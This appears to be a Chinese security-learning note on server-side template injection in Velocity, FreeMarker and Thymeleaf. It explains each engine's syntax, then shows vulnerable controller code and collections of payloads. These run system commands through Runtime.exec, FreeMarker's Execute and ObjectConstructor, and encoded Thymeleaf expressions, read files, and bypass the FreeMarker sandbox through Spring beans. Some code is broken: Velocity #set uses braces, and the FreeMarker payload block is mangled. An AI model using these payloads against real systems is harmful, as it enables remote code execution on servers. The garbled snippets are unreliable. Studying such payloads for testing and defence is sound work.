Velocity的简介 Velocity模板引擎, 作为一款成熟的基于java的模板引擎,能够帮我们实现页面静态化,同时它将Java代码与网页分开,将模板和填入数据整合,生成我们需要的页面.
1 基本语法 1 关键字 Velocity模板中的关键字, 都是以#开头表示的
#set 设置一个变量
#if 条件分支判断
#else 另一个条件分支
#end 语句结束
#foreach 循环语句
2 变量 Velocity模板中的变量, 都是以$开头表示的
如: $user用户 $password 用户密码
{}变量
对于明确的Velocity变量, 可以使用{}包括起来, 可以在页面上展示如下效果:
${user}Name, 此时页面上可以表示为$someoneName的效果.
!变量
如上述内容,Velocity模板中如果变量不存在, 在页面会显示$user, 这种形式影响展示的效果. 可以使用$!user表示.
$!user表示, 存在则展示,不存在则为空白
1 2 3 4 5 6 7 8 9 10 11 12 13 vm 复制代码## 定义一个user变量为李白, password变量为123456 #set{$user = "李白" } #set{$password = "123456" } ## 变量引用 #set{$student.name = "李白" } ## 数字 #set{$student.age = 22 } ## 字符串 #set{$student.class = "大班" } ## 属性引用 #set($student.address = $address.info)
3 转义字符和逻辑操作符 Velocity模板中转义字符是 \
1 2 3 4 5 6 7 vm 复制代码#set{$user = "李白" } ## 输入 结果 $user 李白 \$user $user \\$user \李白 \\\$user \$user
&& 且
|| 或
! 取反
4 循环 Velocity模板中list集合循环语法
循环遍历,可以得到每个元素,每个元素的序号,以及总的集合长度
1 2 3 4 5 6 7 8 9 vm 复制代码#foreach ( $element in $list) ## 集合中每个元素 $element ## 集合的序号 从1 开始 ${velocityCount} ## 集合的长度 ${list.size()} #end
map集合循环语法
1 2 3 4 5 vm 复制代码#foreach ($entry in $map.entrySet()) ## map的key map的value值 $entry.key => $entry.value #end
5 条件 Velocity模板中条件语法if-ifelse-else结构
1 2 3 4 5 6 7 8 vm 复制代码#if (condition1) #elseif (condition2) #else #end
常用的条件语句是if-else结构
1 2 3 4 5 6 vm 复制代码#if (condition1) #else #end
#break
表示跳出循环
1 2 3 4 5 6 7 8 9 vm 复制代码#if (condition1) ## 条件符合跳过 #if ($user == "李白" ) #break ; #end #else #end
#stop
表示终止指令,终止模板解析
1 2 3 4 5 6 7 8 9 vm 复制代码#if (condition1) ## 条件符合直接终止 #if ($user == "李白" ) #stop #end #else #end
6 注释 单行注释 ##
1 2 3 vm 复制代码## 定义一个user变量为李白 #set{$user = "李白" }
多行注释 #* *#
1 2 3 4 5 6 vm 复制代码#* 定义一个user变量 将user变量赋值为 李白 *# #set{$user = "李白" }
文档注释 #** *#
1 2 3 4 5 6 vm 复制代码 #** @version 1.1 @author 李白*# #set{$user = "李白" }
7 引入资源 #include
表示引入外部资源,引入的资源不被引擎所解析
1 2 vm 复制代码#include( "one.gif" ,"two.txt" ,"three.htm" )
#parse
用于导入脚本, 引入的资源会被引擎所解析
1 2 3 4 5 6 7 8 9 vm 复制代码## a.vm文件 #set($user = "李白" ) ## b.vm文件 #parse("a.vm" ) ## 变量 值 $user 李白
常见POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #set($e="e" ) $e.getClass().forName("java.lang.Runtime" ).getMethod("getRuntime" ,null ).invoke(null ,null ).exec("open -a Calculator" ) #set($x='' )## #set($rt = $x.class.forName('java.lang.Runtime' ))## #set($chr = $x.class.forName('java.lang.Character' ))## #set($str = $x.class.forName('java.lang.String' ))## #set($ex=$rt.getRuntime().exec('id' ))## $ex.waitFor() #set($out=$ex.getInputStream())## #foreach( $i in [1. .$out.available()])$str.valueOf($chr.toChars($out.read()))#end #set ($e="exp" ) #set ($a=$e.getClass().forName("java.lang.Runtime" ).getMethod("getRuntime" ,null ).invoke(null ,null ).exec($cmd)) #set ($input=$e.getClass().forName("java.lang.Process" ).getMethod("getInputStream" ).invoke($a)) #set($sc = $e.getClass().forName("java.util.Scanner" )) #set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream" ))) #set($scan=$constructor.newInstance($input).useDelimiter("\A" )) #if ($scan.hasNext()) $scan.next() #end
evaluate例子: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 package com.example.javasecssti;import org.apache.velocity.VelocityContext;import org.apache.velocity.app.Velocity;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import java.io.StringWriter;@Controller public class VelocityController { @RequestMapping("/ssti/velocity") @ResponseBody public String velocity1 (@RequestParam(defaultValue="nth347") String username) { String templateString = "Hello, " + username + " | Full name: $name, phone: $phone, email: $email" ; Velocity.init(); VelocityContext ctx = new VelocityContext (); ctx.put("name" , "Nguyen Nguyen Nguyen" ); ctx.put("phone" , "012345678" ); ctx.put("email" , "nguyen@vietnam.com" ); StringWriter out = new StringWriter (); Velocity.evaluate(ctx, out, "test" , templateString); return out.toString(); } }
输入payload:
1 2 #set($e="e" ) $e.getClass().forName("java.lang.Runtime" ).getMethod("getRuntime" ,null ).invoke(null ,null ).exec("cmd /C calc" )
弹出计算机
merage: merge方法使用VelocityEngine的getTemplate方法获取指定的模板文件,然后使用merge方法将模板和上下文数据合并为最终结果。
template :待处理的 Velocity 模板。
context :上下文数据,即用于替换模板中占位符的数据。
writer :输出结果的写入器,用于将生成的结果写入到指定位置。
创建对应的code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 @RequestMapping("/ssti/velocity2") @ResponseBody public String velocity2 (@RequestParam(defaultValue = "nth347") String username) throws IOException, ParseException, org.apache.velocity.runtime.parser.ParseException { String templateString = new String (Files.readAllBytes(Paths.get("/path/to/template.vm" ))); templateString = templateString.replace("<USERNAME>" , username); StringReader reader = new StringReader (templateString); VelocityContext ctx = new VelocityContext (); ctx.put("name" , "Nguyen Nguyen Nguyen" ); ctx.put("phone" , "012345678" ); ctx.put("email" , "nguyen@vietnam.com" ); StringWriter out = new StringWriter (); org.apache.velocity.Template template = new org .apache.velocity.Template(); RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices(); SimpleNode node = runtimeServices.parse(reader, String.valueOf(template)); template.setRuntimeServices(runtimeServices); template.setData(node); template.initDocument(); template.merge(ctx, out); return out.toString(); }
模板文件template.vm内容:
1 2 3 Hello World! The first velocity demo. Name is <USERNAME>. Project is $project
这段代码的主要作用是读取Velocity模板文件,替换模板中的占位符,然后使用给定的上下文对象进行模板渲染,并将渲染结果作为字符串返回 过程:
使用templateString.replace对模板文件里的内容进行替换,这里的替换值可控
runtimeServices.parse将模板内容进行解析
template.merge(ctx, out);将模板内容进行渲染,这里会调用SimpleNode#render,过程大致和上面一致
从指定路径读取模板文件,如果模板文件中带有攻击载荷语句,即可通过 template.merge 渲染触发模 板注入漏洞。所以我们需要修改vm渲染文件。
假设我们到了后台,有模板修改的功能,那我们便可修改vm文件来进行攻击。
1 2 #set($e="sss" ); $e.getClass().forName("java.lang.Runtime" ).getMethod("getRuntime" ,null ).invoke(null ,null ).exec("calc" )
FreeMarker简介 FreeMarker 是一款 _模板引擎_: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。
模板编写为FreeMarker Template Language (FTL)。它是简单的,专用的语言, 不是 像PHP那样成熟的编程语言。 那就意味着要准备数据在真实编程语言中来显示,比如数据库查询和业务运算, 之后模板显示已经准备好的数据。在模板中,你可以专注于如何展现数据, 而在模板之外可以专注于要展示什么数据。
FreeMarker语法 说白了FreeMarker和JSP的EL表达式差不多 或者 跟thymleaf的语法是差不多的。
都是使用${} 或者标签。
FreeMarker常用语法 if指令 1 2 3 <#if name=='李四' > true </#if >
list指令 1 2 3 4 5 6 7 8 9 10 @RequestMapping("/test2") public String testList (Map<String,Object> map) { List<User> users = new ArrayList <>(); users.add(new User ("lisi" ,15 )); users.add(new User ("test" ,25 )); users.add(new User ("zhangsan" ,25 )); map.put("lists" ,users); return "test2" ; }
1 2 3 4 5 6 7 8 9 10 <table> <#list lists as u> <#if u_index%2 ==0 ><tr style="background-color: red" ></#if > <#if u_index%2 !=0 ><tr style="background-color: green" ></#if > <tr> <td>${u.name}</td> <td>${u.age}</td> </tr> </#list> </table>
遍历Map 1 2 3 4 5 6 7 8 9 @RequestMapping("/test3") public String testMap (Map<String,Object> map) { HashMap<String, Object> mp = new HashMap <>(); mp.put("1" ,new User ("lisi" ,15 )); mp.put("2" ,new User ("zhangsan" ,19 )); mp.put("3" ,new User ("test" ,20 )); map.put("ma" ,mp); return "test3" ; }
1 2 3 4 5 6 7 8 <table> <#list ma?keys as k> <tr> <td>${ma[k].name}</td> <td>${ma[k].age}</td> </tr> </#list> </table>
空值处理 ?? 判断是不为空
${name!””} name 为空时 显示 “”
1 2 3 4 5 6 7 <#if name??> ${name} </#if > <#if name??> ${name!"" } </#if >
FreeMarker注入 内置函数 new 可创建任意实现了TemplateModel接口的Java对象,同时还可以触发没有实现 TemplateModel接口的类的静态初始化块。以下两种常见的FreeMarker模版注入poc就是利用new函数,创建了继承TemplateModel接口的freemarker.template.utility.JythonRuntime和freemarker.template.utility.Execute。
API value?api 提供对 value 的 API(通常是 Java API)的访问,例如 value?api.someJavaMethod() 或 value?api.someBeanProperty。可通过 getClassLoader获取类加载器从而加载恶意类,或者也可以通过 getResource来实现任意文件读取。但是,当api_builtin_enabled为true时才可使用api函数,而该配置在2.3.22版本之后默认为false。
一些poc1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <#assign classLoader=object?api.class.protectionDomain.classLoader> <#assign clazz=classLoader.loadClass("ClassExposingGSON" )> <#assign field=clazz?api.getField("GSON" )> <#assign gson=field?api.get(null )> <#assign ex=gson?api.fromJson("{}" , classLoader.loadClass("freemarker.template.utility.Execute" ))> ${ex("open -a Calculator.app" ")} <#assign value=" freemarker.template.utility.ObjectConstructor"?new()>${value(" java.lang.ProcessBuilder"," whoami").start() <#assign value=" freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system(" calc.exe") <#assign ex=" freemarker.template.utility.Execute"?new()> ${ ex(" open -a Calculator.app") } 读取文件 <#assign is=object?api.class.getResourceAsStream(" /Test.class")> FILE:[<#list 0..999999999 as _> <#assign byte=is.read()> <#if byte == -1> <#break> </#if> ${byte}, </#list>] <#assign uri=object?api.class.getResource(" /").toURI()> <#assign input=uri?api.create(" file:<#assign is=input?api.getInputStream()> FILE:[<#list 0. .999999999 as _> <#assign byte =is.read()> <#if byte == -1 > <#break > </#if > ${byte }, </#list>]
这里引入绕过沙箱的一些手法来源于blackhat议题,在深育杯比赛看到的考点。先来看一下blackhat的原payload
此payload
同样可用于halo 1.2.0
版本
这个payload需要freemarker+spring并设置setExposeSpringMacroHelpers(true)
或是application.propertices中配置spring.freemarker.expose-spring-macro-helpers=true
1 2 3 4 5 <#assign ac=springMacroRequestContext.webApplicationContext> <#assign fc=ac.getBean('freeMarkerConfiguration' )> <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()> <#assign VOID=fc.setNewBuiltinClassResolver(dcr)> ${"freemarker.template.utility.Execute" ?new ()("id" )}
这个是绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 Application['org.springframework.web.context.WebApplicationContext.ROOT' ],得到以下payload <#assign ac=Application['org.springframework.web.context.WebApplicationContext.ROOT' ]> <#assign fc=ac.getBean('freeMarkerConfiguration' )> <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()> <#assign VOID=fc.setNewBuiltinClassResolver(dcr)> ${"freemarker.template.utility.Execute" ?new ()("id" )} 简化一下payload <#assign fc=Application['org.springframework.web.context.WebApplicationContext.ROOT' ].getBean('freeMarkerConfiguration' )> ${fc.setNewBuiltinClassResolver(fc.getDefaultConfiguration().getNewBuiltinClassResolver())} ${"freemarker.template.utility.Execute" ?new ()("whoami" )}
在加一些其他的绕过:根据Pwntester 2020年的议题 https://media.defcon.org/DEF CON 28/DEF CON Safe Mode presentations/DEF CON Safe Mode - Alvaro Muñoz and Oleksandr Mirosh - Room For Escape Scribbling Outside The Lines Of Template Security.pdf
绕过class.getClassloader反射加载Execute类 1 2 3 4 5 <#assign classloader=<<object>>.class.protectionDomain.classLoader> <#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper" )> <#assign dwf=owc.getField("DEFAULT_WRAPPER" ).get(null )> <#assign ec=classloader.loadClass("freemarker.template.utility.Execute" )> ${dwf.newInstance(ec,null )("id" )}
参考:https://mp.weixin.qq.com/s/wlBJ26UsZYZAQTf5P5KMxA
https://www.cnblogs.com/nice0e3/p/16217471.htm
https://tttang.com/archive/1412/#toc_0x03-thymeleaf
https://forum.butian.net/share/1661
Thymeleaf Thymeleaf是众多模板引擎的一种和其他的模板引擎相比,它有如下优势:
Thymeleaf使用html通过一些特定标签语法代表其含义,但并未破坏html结构,即使无网络、不通过后端渲染也能在浏览器成功打开,大大方便界面的测试和修改。
Thymeleaf提供标准和Spring标准两种方言,可以直接套用模板实现JSTL、 OGNL表达式效果,避免每天套模板、改JSTL、改标签的困扰。同时开发人员也可以扩展和创建自定义的方言。
Springboot官方大力推荐和支持,Springboot官方做了很多默认配置,开发者只需编写对应html即可,大大减轻了上手难度和配置复杂度。
语法 参考:https://blog.csdn.net/Lzy410992/article/details/115371017
https://xz.aliyun.com/t/10514?
既然Thymeleaf也使用的html,那么如何区分哪些是Thymeleaf的html?
在Thymeleaf的html中首先要加上下面的标识。
1 <html xmlns:th="http://www.thymeleaf.org" >
标签 Thymeleaf提供了一些内置标签,通过标签来实现特定的功能。
链接表达式 在Thymeleaf 中,如果想引入链接比如link,href,src,需要使用@{资源地址}引入资源。引入的地址可以在static目录下,也可以司互联网中的资源。
1 2 3 <link rel="stylesheet" th:href="@{index.css}" > <script type="text/javascript" th:src="@{index.js}" ></script> <a th:href="@{index.html}" >超链接</a>
变量表达式 可以通过${…}在model中取值,如果在Model中存储字符串,则可以通过${对象名}直接取值。
1 2 3 4 5 6 7 8 9 public String getindex (Model model) { model.addAttribute("name" ,"bigsai" ); return "index" ;} <td th:text="'我的名字是:'+${name}" ></td>
取JavaBean对象使用${对象名.对象属性}或者${对象名[‘对象属性’]}来取值。如果JavaBean写了get方法也可以通过${对象.get方法名}取值。
1 2 3 4 5 6 7 8 9 10 11 public String getindex (Model model) { user user1=new user ("bigsai" ,22 ,"一个幽默且热爱java的社会青年" ); model.addAttribute("user" ,user1); return "index" ;} <td th:text="${user.name}" ></td> <td th:text="${user['age']}" ></td> <td th:text="${user.getDetail()}" ></td>
取Map对象使用${Map名[‘key’]}或${Map名.key}。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 @GetMapping("index") public String getindex (Model model) { Map<String ,String>map=new HashMap <>(); map.put("place" ,"博学谷" ); map.put("feeling" ,"very well" ); model.addAttribute("map" ,map); return "index" ;} <td th:text="${map.get('place')}" ></td> <td th:text="${map['feeling']}" ></td>
取List集合:List集合是一个有序列表,需要使用each遍历赋值,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 @GetMapping("index") public String getindex (Model model) { List<String>userList=new ArrayList <>(); userList.add("zhang san 66" ); userList.add("li si 66" ); userList.add("wang wu 66" ); model.addAttribute("userlist" ,userList); return "index" ;} <tr th:each="item:${userlist}" > <td th:text="${item}" ></td> </tr>
选择变量表达式 变量表达式也可以写为*{…}。星号语法对选定对象而不是整个上下文评估表达式。也就是说,只要没有选定的对象,美元(${…})和星号(*{…})的语法就完全一样。
1 2 3 4 5 <div th:object="${user}" > <p>Name: <span th:text="*{name}" >赛</span>.</p> <p>Age: <span th:text="*{age}" >18 </span>.</p> <p>Detail: <span th:text="*{detail}" >好好学习</span>.</p> </div>
消息表达式 文本外部化是从模板文件中提取模板代码的片段,以便可以将它们保存在单独的文件(通常是.properties文件)中,文本的外部化片段通常称为“消息”。通俗易懂的来说#{…}语法就是用来 读取配置文件中数据 的。
片段表达式 片段表达式~{…}可以用于引用公共的目标片段,比如可以在一个template/footer.html中定义下面的片段,并在另一个template中引用。
1 2 3 4 5 6 <div th:fragment="copy" > © 2011 The Good Thymes Virtual Grocery </div> <div th:insert="~{footer :: copy}" ></div>
Thymeleaf 模板注入漏洞 Thymeleaf SSTI 漏洞通常发生在使用动态输入来生成 Thymeleaf 模板的情况下。攻击者可以通过精心 构造的输入向服务器发送恶意代码,这些代码将被 Thymeleaf 视为有效的模板表达式,并在服务器上执 行。因此会导致服务器上的远程代码执行,从而使攻击者能够完全接管服务器并访问敏感数据。在 Thymeleaf 中,可以使用表达式来动态设置模板的值。例如, ${user.name} 将被替换为用户的名 称。攻击者可以使用类似${T(java.lang.Runtime).getRuntime().exec(‘calc’)} 的表达式来执行 任意的系统命令。Thymeleaf 3.0.0 至 3.0.11 版本存在模板注入漏洞。该漏洞在Thymeleaf 3.0.12及以后版本已经得到修 复,但还是存在一些 Bypass 的方式。
参考:https://tttang.com/archive/1412/#toc_0x03-thymeleaf
https://forum.butian.net/share/1661
https://www.ctfiot.com/110645.html
https://xz.aliyun.com/t/9826
Thymeleaf模版注入漏洞分两种场景,按照经Servlet处理后得到的viewTemplateName包含”:: “和不包含”:: “两种情况。
poc:
1 2 3 4 5 6 7 8 9 10 11 选择模板语法 __$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("open%20-a%20calculator" ).getInputStream()).next()%7d__::.x 片段选择器 __$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("touch /tmp/test.txt" ).getInputStream()).next()%7d__::.x 拼接路径 __%24 %7Bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open -a20calculator%22 ).getInputStream()).next()%7D__%3A%3A.x